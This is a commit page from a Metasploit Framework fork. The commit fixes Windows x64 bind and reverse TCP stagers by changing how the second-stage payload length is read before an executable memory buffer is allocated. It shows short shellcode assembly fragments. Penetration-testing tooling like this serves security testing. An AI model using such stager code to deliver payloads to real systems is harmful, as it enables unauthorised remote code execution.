dnrops
/
metasploit-framework
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Fix #5988, windows x64 stagers 

* Also, use mov esi, esi to save an extra byte
* Also, modify the block_recv.asm code, just to have it up to date
This commit is contained in:
jvazquez-r7 2015-09-28 15:52:50 -05:00
parent b206de7708
commit 9444c8c410
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
3 changed files with 3 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
external/source/shellcode/windows/x64/src/block/block_recv.asm vendored
View File

@ -24,6 +24,7 @@ recv:
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
; Alloc a RWX buffer for the second stage
pop rsi ; pop off the second stage length
mov esi, esi ; only use the lower-order 32 bits for the size
push byte 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;

1
lib/msf/core/payload/windows/x64/bind_tcp.rb
View File

@ -220,6 +220,7 @@ module Payload::Windows::BindTcp_x64
; Alloc a RWX buffer for the second stage
pop rsi ; pop off the second stage length
mov esi, esi ; only use the lower-order 32 bits for the size
push 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;

2
lib/msf/core/payload/windows/x64/reverse_tcp.rb
View File

@ -219,7 +219,7 @@ module Payload::Windows::ReverseTcp_x64
; Alloc a RWX buffer for the second stage
pop rsi ; pop off the second stage length
movsxd rsi, esi ; only use the lower-order 32 bits for the size
mov esi, esi ; only use the lower-order 32 bits for the size
push 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;